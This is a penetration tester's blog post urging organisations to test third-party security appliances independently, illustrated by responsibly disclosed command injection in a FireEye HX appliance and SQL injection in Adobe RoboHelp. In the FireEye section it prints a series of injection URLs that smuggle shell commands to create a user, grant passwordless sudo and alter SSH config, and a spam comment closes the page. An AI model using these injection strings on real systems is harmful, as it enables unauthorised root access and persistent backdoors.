April 29, 2019

Real Trojan Horses - A Case for Independently Testing Third Party Appliances


Would you plug a device into your DMZ or trusted server VLAN that someone handed you without looking at it first?  This is the very definition of a rogue device, after-all.  You probably want to have some control over or at least visibility into the device to know if operating system and software packages are patched, as part of your patch management program.  Before you answer no, take a step back.  It's possible you've already done this within your corporate and personal home network.  

We put a lot of faith in our vendors, especially ones that are supposed to help keep us more secure.  These third party appliances and software are typically closed-source and proprietary.  You're probably thinking, "Well I include the private IP address in-scope for my recurring vulnerability scans so I'm good, right?".  I would commend you for doing this, but I would argue that looking at these devices and software (without source) from this perspective is the equivalent of doing an External scan.  You're only seeing vulnerabilities from the available services or front-end code, not the underlying operating system or software packages that may not be patched, are configured incorrectly, etc.

Maybe now you're thinking, "Well I can trust security vendors because they know better, right?".  (thought no one, ever)  Unfortunately, from my experience, the answer is no and I'll share some of my experiences below.  Security appliances such as Firewalls and Intrusion Detection Systems have made simple security mistakes that may shock you, or not.  Just take the recent Cisco ASA default backdoor credentials as an example.  These vendors should know better!  That being said, we don't all practice what we preach and this may be an opportunity for even us security professionals to take a look at our processes and baseline standards.  A lot of penetration testing firms even deploy physical devices or virtual machines that allow them to do remote testing, but without a plan to update or remove these when not in use they may become outdated and pose a new security threat to the organization they're trying to help protect.

Hardware appliances are especially concerning because what you see from your own network is the "outside" perimeter of that device and it's usually locked down to prevent customers from getting direct access to the underlying system.  It's a little like seeing the tip of the iceberg and hoping the majority of the mass below the water won't sink your ship.  Then you might have a Titanic issue on your hands.. 😬

"Iceberg, Straight Ahead!"


The following are some of my experiences.  This is not a very complete list, as we are constantly coming across issues during penetration testing exercises.  These are but a few notable examples from my personal experience which are a few years old now but I feel make my point.

Security Appliances
  • FireEye HX
A few years back I was tasked with implementing and administering a (then Mandiant) FireEye security appliance, their HX product.  The 2U rack server was packaged up nicely and a web interface allowed for the provisioning and administration of the device on the customer's network.  CentOS was the underlying operating system, but you had to leverage FireEye's support service if there was a need to SSH into it for any reason, which they would do so through a screen share.

I could understand this at the time, their "bread and butter" were these Indicators of Compromise (IOC) threat intelligence rules that would download and live physically on the filesystem, as well as their PHP code which made up the user interface experience and background scripts.

I then got the system up and running and a Qualys network vulnerability scan came back relatively clean.  As I began poking around on the system, specifically in the "Tools" section, I noticed there was a "Ping" and "Trace Route" feature.  You could specify an IP and see the output of the tool in the web browser.  Neat!  Well, not so fast.. I quickly realized Command Injection was possible after specifying a simple semicolon.  This seemed to result in an XML parsing error with the standard out at the bottom!


Naturally, the web service was running as root.  You heard that correctly, a security vendor was running the Apache web service as root.  I can't even.. 

This is when I finally got the opportunity to poke my head under water and take a look at the rest of that iceberg.  With a series of commands, I was able to create an SSH user with sudoers rights :

https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; useradd -m -p PASSWORD USER
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; cp /etc/ssh/sshd_config /etc/ssh/sshd_configBACKUP
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; echo "AllowUsers USER” >> /etc/ssh/sshd_config
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; cp /etc/sudoers /etc/sudoersBACKUP
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; echo “USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
https://[HX_APPLIANCE]:3443/script/NEI_ModuleDispatch.php?module=NEI_Network&function=HapiSysCommand&cmd=1&data=~|~|localhost,; service sshd restart
Nice!  I have root access directly on the appliance now.  From here I could access all sorts of information I probably wasn't supposed to see, such as IOCs, source code, and default passwords.

Mandiant IOC CVE

So now that we can see the whole "berg", what's under the hood in terms of vulnerabilities?  Surely FireEye keeps their OS and third party applications patched on a regular basis and practice good secure coding techniques!  (This is a joke, remember the "root" web service account?)  To be fair, the NEI hardware vendor may be partially to blame.

I then configured the vulnerability scanner to use SSH credentials with sudo rights and targeted the machine again.  This time, a ridiculous number of service configuration issues, OS and Third Party Patching issues, and a handful of other vulnerabilities lit up the report with Critical, High, and Medium severities that weren't visible before authentication.  I'm working on getting an image of the report for specifics and will update this blog when I do, but I no longer have that information readily available since it's been a few years now.

I then found the source code for the security web application and saw that it was written in PHP.  I ran RIPS against it, a static source code analysis tool, to identify even more vulnerabilities hidden beneath the surface.  I already knew they were using bad practices with the code injection techniques, which I had found multiple of examples of manually by this time, so I wasn't surprised RIPS found even more examples.

RIPS PHP Code Analysis Report

I don't think they wanted to exclude any vulnerabilities in the OWASP Top Ten.  Again, this is security software written by one of the largest security vendors in the world.  🙄

As you can imagine, if an attacker compromised any of these vulnerabilities as I did, they could use this as a pivot point in a larger attack, moving laterally and eventually compromising the entire network.  Because of the nature of this device, they could render the detection and agents useless and effectively deploy malware to every endpoint and escape detection.  No bueno!

The client I was working for is someone I admire in the Cyber Security community and had issues with this appliance sitting on their network in the state that it was in.  We contacted Mandiant and reported the issue, but nothing really came of it.  I was later told this likely fell through the "cracks" due to the acquisition.  Then, fast forward a couple of years later when they're now FireEye and no longer Mandiant, another researcher found the same initial flaw I did and went straight to the media with it.  It gathered a lot of attention due to FireEye not having a bug bounty program and the researcher was essentially blackmailing them by withholding other vulnerabilities.

I work for a very reputable security company and we collectively decided the right thing to do here was to responsibly disclose the findings (a second time) to the new FireEye executive team.  They were thankful for the findings and handled the situation well, even rewarding me with CVE's for a few of the findings that hadn't previously been reported by that time.

Third Party Software
  • Adobe RoboHelp Server
Here's another example of how third party software or hardware can introduce vulnerabilities into your network.  I was doing a penetration test for a client whom I admire for really being on top of their patch management program.  They do an superb job of patching not just operating systems, but third party applications in both Windows and Linux environments, which is such a beautiful thing to see.  In fact, their vulnerability assessments are essentially squeaky clean, except for the unavoidable occasional new vulnerability that comes out between patch cycles.

This is also a client we've done quarterly tests for for a couple of years now.  As a penetration tester, from my perspective, I was happy for the client but was frustrated by how difficult it was to find an exploitable vulnerability I could leverage from the outside to gain Internal access the their environment.  I decided my time would be best spent thinking outside of the box and really doing some fuzzing against the external services that were available, specifically web services.

One of these web services was an application called Adobe RoboHelp.  I hadn't heard of it so I started poking around and diving deep within the logic.  I manually altered parameters and would use Burp Suite to actively and passively test the new responses until finally, I found some unauthenticated SQL Injection.  This was an externally facing web service and most RobotHelp instances are, because the purpose is to offer support and how-to articles to end users who visit the site.

Needless to say, with SQL Injection there's an opportunity to access sensitive data and even potentially execute arbitrary code on the OS.  Because of this critical issue introduced by a trusted third party, an organization's otherwise secure environment is now vulnerable to a breach.  I contacted Adobe's response team, who were a pleasure to work with, as they created a patch for the issue.  They also awarded me with a CVE!  I then communicated with my client to make sure they were aware of the patch and tested again to ensure the issue was properly mitigated.


In the past as a penetration tester I naturally migrated to custom developed applications, assuming the road less traveled was where I would find my exploitable bugs.  As a System's Administrator I've assumed a well known vendor's product, especially a Cyber Security one, would be safe to trust.  I've assumed their products have gone through rounds of testing and they follow best practices when developing code.  These two incidents, in addition to a handful of others, have really swayed my thought process from a blue team and red team perspective.

The threat of insecure devices on our networks is greater than ever due to the rise in IoT devices, which are popular in both consumer and enterprise environments.  Just type, "Internet of Things Security" into Google for countless examples of how devices were left open to the Internet with default credentials or other major holes which give attackers a foothold.  A lack of IoT security and infected devices is why I created Digifense all of those years ago, although I no longer maintain it.

My advice to my readers is to simply challenge your vendors, as their customer or potential customer, to share the results of their security tests.  Make sure they were performed recently and regularly, and it's done by a third party.  Are they patching their products and dependencies regularly?  I also encourage all of you to independently test each new device and application prior to placing it on your network, as you would with any untrusted introduction to your environment.  And yes, they should earn your trust by a history of good practices.

If you have an internal security team, what better way to build skills and safely practice testing than against a new product in an isolated VLAN?  If you're adding the newest smart gadget to your home, inspect the network traffic to see if it's encrypted and who or where it's phoning home to.  I do this with an OpenWRT router and tshark.  You can also use a tool like IoT Inspector.  Consider putting IoT gadgets in their own VLAN or guest WiFi network in case they get compromised.  

Lastly, make sure your security vendors practice what they preach.  I wouldn't want to hire someone to protect me if they're not capable of protecting their own product or company.  Have they been involved in breaches?  See if the vendor has a reputation for bad security practices before you buy.  Are they the Titanic, promising to be un-sinkhackable?


My intent with this blog certainly isn't to try and use scare tactics and stir up paranoia, but instead to share my experiences and hopefully allow you to challenge every device or application you deploy into your trusted environment.  Many providers do the right thing and they "eat their own dog food", while others do not, or haven't always.  As security professionals we are trusted to keep the bad guys out, so the last thing we want to do is unintentionally make the environment less secure by introducing a trojan horse dressed like the next security silver-bullet.  

If you liked this blog or you hate it with all of your soul, please let me know and why!  I would love to get feedback on what is and isn't valuable to my readers!

- Curtis Brazzell

1 comment:

  1. Nice post, this phone is amazing...

    Download the Reimage Repair Software to repair corrupted files from your computer.